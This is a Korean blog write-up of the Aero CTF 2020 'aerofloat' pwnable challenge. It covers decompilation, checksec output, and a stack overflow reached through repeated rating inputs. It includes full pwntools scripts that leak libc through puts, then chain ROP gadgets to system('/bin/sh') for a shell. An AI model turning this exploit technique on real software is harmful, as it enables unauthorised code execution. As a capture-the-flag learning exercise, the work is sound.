Aero 2020 CTF write up - aerofloat
Aero 2020 CTF 문제 중 pwnable 분야의 Aerofloat 문제이다.
대회 당일에는 풀지 못했지만, 롸업을 보고 재 도전 후 풀수 있게 되었다.
Analyze
해당 문제의 바이너리 안에 사용자 정의 함수는 아래와 같다.
ubuntu:~/environment/ctf/Aero CTF 2020/pwn/Aerofloat $ func aerofloat
main
menu
read_buf
read_int
gdb로 문제 바이너리를 분석해서 c로 나타내면 아래와 같다.
void menu(){
puts("1. Set rating");
puts("2. View rating list");
puts("3. View porfile info");
puts("4. Exit");
printf("> ");
}
int read_buf(char *name, int len){
int name_len = read(0, name, len);
if(name_len <= 0)
return name_len;
char tmp = *name[name_len-1];
if(tmp != '0xa')
return name_len;
*name[name_len-1] = 0;
return name_len;
}
int read_int(){
int len = read(0, rbp-0x10, 0x8); // rbp-0x4
*(rbp+len-0x11) = 0;
*(rbp-0x8) = 0xdeadbeef;
return atoi(rbp-0x10);
}
int main(){
printf("{?} Enter name: ");
read_buf(name, 0x80);
int tmp1 = 3; // rbp-0x4
int tmp2 = 0; // rbp-0x8
int tmp3 = 0; // rbp-0xc
while(tmp2 != 1){
if(tmp1 > 0){
menu();
int select = read_int(); // rbp-0x14
if(select != 0xdeadbeef){
if(select == 1){
printf("{?} Enter your ticket id: ");
read_buf(rbp-0xc0 + (tmp3 << 0x4), 0x8); // rbp-0xc0 = 0x7fffffffe4b0
printf("{?} Enter your rating: ");
scanf("%lf", rbp-0xc0 + (tmp3 << 0x4) + 0x8);
rdi = rbp - 0xc0 + (tmp3 << 0x4);
xmm0 = *((tmp3 << 0x4) + rbp - 0xb8);
printf("{+} You set rating <%lf> to ticket <%s>\n", xmm0, rdi);
tmp3 += 1;
}
else if(select == 2){
puts("----- Your rating list -----");
int tmp4 = 0; // rbp-0x10
while(tmp4 < tmp3){
printf("----- Rating [%d] -----\n", *(rbp-0x10));
printf("Ticket: %s\n", rbp-0xc0 + (tmp4 << 0x4));
printf("Score: %lf\n", *((tmp4 << 0x4) + rbp - 0xb8));
tmp4++;
puts("------ Profile ------");
printf("Name: %s\n", name);
printf("You set %d ratins\n", tmp3);
}
}
else if(select == 3){
puts("------ Profile ------");
printf("Name: %s\n", name);
printf("You set %d ratins\n", tmp3);
}
else if(select == 4)
tmp2 = 1;
}
else exit(0xffffffff);
}
else exit(0xfffffffe);
}
}
바이너리에 적용된 보안 기법은 아래와 같다.
ubuntu:~/environment/ctf/Aero CTF 2020/pwn/Aerofloat $ checksec --file=aerofloat
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 76 Symbols No 0 2 aerofloat
카나리가 적용되어 있지 않고, NX가 되어 있어 ROP로 쉘을 실행하는 문제라는 것으로 생각했다.
Overflow가 일어나는 부분을 찾아보면 select == 1 일때, Overflow가 발생하게 된다.
Stack에 사용자가 입력한 ticket id와 rating이 각각 8bytes 만큼 저장이 되는데, 이때 제한을 하지 않아 RET까지 수정이 가능하다.
if(select == 1){
printf("{?} Enter your ticket id: ");
read_buf(rbp-0xc0 + (tmp3 << 0x4), 0x8); // rbp-0xc0 = 0x7fffffffe4b0
printf("{?} Enter your rating: ");
scanf("%lf", rbp-0xc0 + (tmp3 << 0x4) + 0x8);
rdi = rbp - 0xc0 + (tmp3 << 0x4);
xmm0 = *((tmp3 << 0x4) + rbp - 0xb8);
printf("{+} You set rating <%lf> to ticket <%s>\n", xmm0, rdi);
tmp3 += 1;
}
사용자가 입력한 값은 rbp-0xc0 부터 입력이 시작된다.
아래 사진에서 노란색 박스의 왼쪽 부분은 ticket_id, 오른쪽 부분은 rating 이다.
빨간색은 SFP 와 RET 의 값이다.
따라서 select = 1을 12번 반복해서 값을 입력한 후, RET 값을 변조할 수 있게 된다.
libc.so.6 파일을 준것을 보니 서버에 ASLR이 적용 되어 있다는 것을 짐작할 수 있다.
libc_base 주소를 구해야 다른 필요한 Gadget의 실제 주소를 구할 수 있다.
아래와 같은 payload로 puts_GOT 를 구하여 libc_base 주소를 구한다.
[rdiret] + [puts_got] + [puts_plt] + [main_addr]
select = 1일때 코드를 보면, rating 값을 입력 받을 때 %lf 형식으로 입력을 받고 있다.
우리가 원하는 16진수 값을 넣기 위해서는 아래 python 코드에서 byte_to_float() 함수를 이용하면 된다.
scanf("%lf", rbp-0xc0 + (tmp3 << 0x4) + 0x8);
from pwn import *
def byte_to_float(data):
assert len(data) == 8
return str(struct.unpack('d', bytes(data))[0])
def setRating(ticket_id, value):
p.sendlineafter("> ", "1")
p.sendafter("{?} Enter your ticket id: ", ticket_id)
p.sendlineafter("{?} Enter your rating: ", value)
p = process("./aerofloat")
e = ELF("./aerofloat")
l = ELF("./libc.so.6")
rdiret = 0x004015bb
p.sendlineafter("{?} Enter name: ", "A")
for i in range(0, 12):
setRating("A", "1")
###############################################################
# Overwrite RET ([rdiret] + [puts_got] + [puts_plt] + [main])
setRating("A"*8, byte_to_float(p64(rdiret)))
setRating(p64(e.got["puts"]), byte_to_float(p64(e.symbols["puts"])))
setRating(p64(e.symbols["main"]), "1")
p.sendlineafter("> ", "4")
###############################################################
###################################
# Get function real address
puts_got = p.recvuntil("\x0a{")
puts_got = puts_got[puts_got.index("> ")+2:]
puts_got = puts_got[:puts_got.index("\x0a")]
puts_got = u64(puts_got.ljust(8, "\x00"))
print("[*] puts_got: " + hex(puts_got))
###################################
위 코드를 실행하면 puts_got가 Leak 가 된다.
[*] puts_got: 0x7ffff7a649c0 이므로 libc database 사이트에 뒤 3자리만 입력해서 puts의 오프셋을 알아낸다.
ubuntu:~/environment/ctf/Aero CTF 2020/pwn/Aerofloat $ python poc.py
[+] Starting local process './aerofloat': pid 3906
[*] puts_got: 0x7ffff7a649c0
puts 함수의 offset 말고도 system, str_bin_sh 의 offset 주소가 보인다 이를 이용해서 필요한 주소를 구한다.
아래 코드로 shell을 실행시키기 위한 Gadget을 모두 구했다.
from pwn import *
def byte_to_float(data):
assert len(data) == 8
return str(struct.unpack('d', bytes(data))[0])
def setRating(ticket_id, value):
p.sendlineafter("> ", "1")
p.sendafter("{?} Enter your ticket id: ", ticket_id)
p.sendlineafter("{?} Enter your rating: ", value)
p = process("./aerofloat")
e = ELF("./aerofloat")
l = ELF("./libc.so.6")
rdiret = 0x004015bb
ret = 0x401016
puts_offset = 0x0809c0
system_offset = 0x04f440
binsh_offset = 0x1b3e9a
p.sendlineafter("{?} Enter name: ", "A")
for i in range(0, 12):
setRating("A", "1")
###############################################################
# Overwrite RET ([rdiret] + [puts_got] + [puts_plt] + [main])
setRating("A"*8, byte_to_float(p64(rdiret)))
setRating(p64(e.got["puts"]), byte_to_float(p64(e.symbols["puts"])))
setRating(p64(e.symbols["main"]), "1")
p.sendlineafter("> ", "4")
###############################################################
###################################
# Get function real address
puts_got = p.recvuntil("\x0a{")
puts_got = puts_got[puts_got.index("> ")+2:]
puts_got = puts_got[:puts_got.index("\x0a")]
puts_got = u64(puts_got.ljust(8, "\x00"))
libc_base = puts_got - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
print("[*] libc_addr: " + hex(libc_base))
print("[*] puts_got: " + hex(puts_got))
print("[*] system_addr: " + hex(system_addr))
print("[*] binsh: " + hex(binsh_addr))
###################################
맨 처음에 RET에
[rdiret] + [puts_got] + [puts_plt] + [main_addr]
과 같은 payload를 입력했다. puts_got 를 출력한 후 main 함수가 다시 시작 되기때문에 똑같은 방식으로 12번을 반복해서 RET까지 접근하여 RET 값을 변조한다.
shell을 실행하기 위한 payload 구조는 아래와 같다.
[rdiret] + [binsh] + [ret] + [system]
payload
from pwn import *
def byte_to_float(data):
assert len(data) == 8
return str(struct.unpack('d', bytes(data))[0])
def setRating(ticket_id, value):
p.sendlineafter("> ", "1")
p.sendafter("{?} Enter your ticket id: ", ticket_id)
p.sendlineafter("{?} Enter your rating: ", value)
p = process("./aerofloat")
e = ELF("./aerofloat")
l = ELF("./libc.so.6")
rdiret = 0x004015bb
ret = 0x401016
puts_offset = 0x0809c0
system_offset = 0x04f440
binsh_offset = 0x1b3e9a
p.sendlineafter("{?} Enter name: ", "A")
for i in range(0, 12):
setRating("A", "1")
###############################################################
# Overwrite RET ([rdiret] + [puts_got] + [puts_plt] + [main])
setRating("A"*8, byte_to_float(p64(rdiret)))
setRating(p64(e.got["puts"]), byte_to_float(p64(e.symbols["puts"])))
setRating(p64(e.symbols["main"]), "1")
p.sendlineafter("> ", "4")
###############################################################
###################################
# Get function real address
puts_got = p.recvuntil("\x0a{")
puts_got = puts_got[puts_got.index("> ")+2:]
puts_got = puts_got[:puts_got.index("\x0a")]
puts_got = u64(puts_got.ljust(8, "\x00"))
libc_base = puts_got - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
print("[*] libc_addr: " + hex(libc_base))
print("[*] puts_got: " + hex(puts_got))
print("[*] system_addr: " + hex(system_addr))
print("[*] binsh: " + hex(binsh_addr))
###################################
p.sendlineafter(": ", "A")
for i in range(0, 12):
setRating("A", "1")
######################################################################
# Overwrite RET ([rdiret] + [binsh] + [ret] + [system])
setRating("A"*8, byte_to_float(p64(rdiret)))
setRating(p64(binsh_addr), byte_to_float(p64(ret)))
setRating(p64(system_addr), "1")
p.sendlineafter("> ", "4")
######################################################################
p.interactive()
'🚩CTF' 카테고리의 다른 글
[zer0pts 2020 CTF] - Can you guess it? write up (0) | 2020.03.09 |
---|---|
[zer0pts 2020 CTF] hipwn write up (0) | 2020.03.09 |
[pwnable.xyz] catalog write up (0) | 2020.02.28 |
[pwnable.xyz] message write up (0) | 2020.02.25 |
[pwnable.xyz] rwsr write up (0) | 2020.02.25 |
댓글
이 글 공유하기
다른 글
-
[zer0pts 2020 CTF] - Can you guess it? write up
[zer0pts 2020 CTF] - Can you guess it? write up
2020.03.09 -
[zer0pts 2020 CTF] hipwn write up
[zer0pts 2020 CTF] hipwn write up
2020.03.09 -
[pwnable.xyz] catalog write up
[pwnable.xyz] catalog write up
2020.02.28 -
[pwnable.xyz] message write up
[pwnable.xyz] message write up
2020.02.25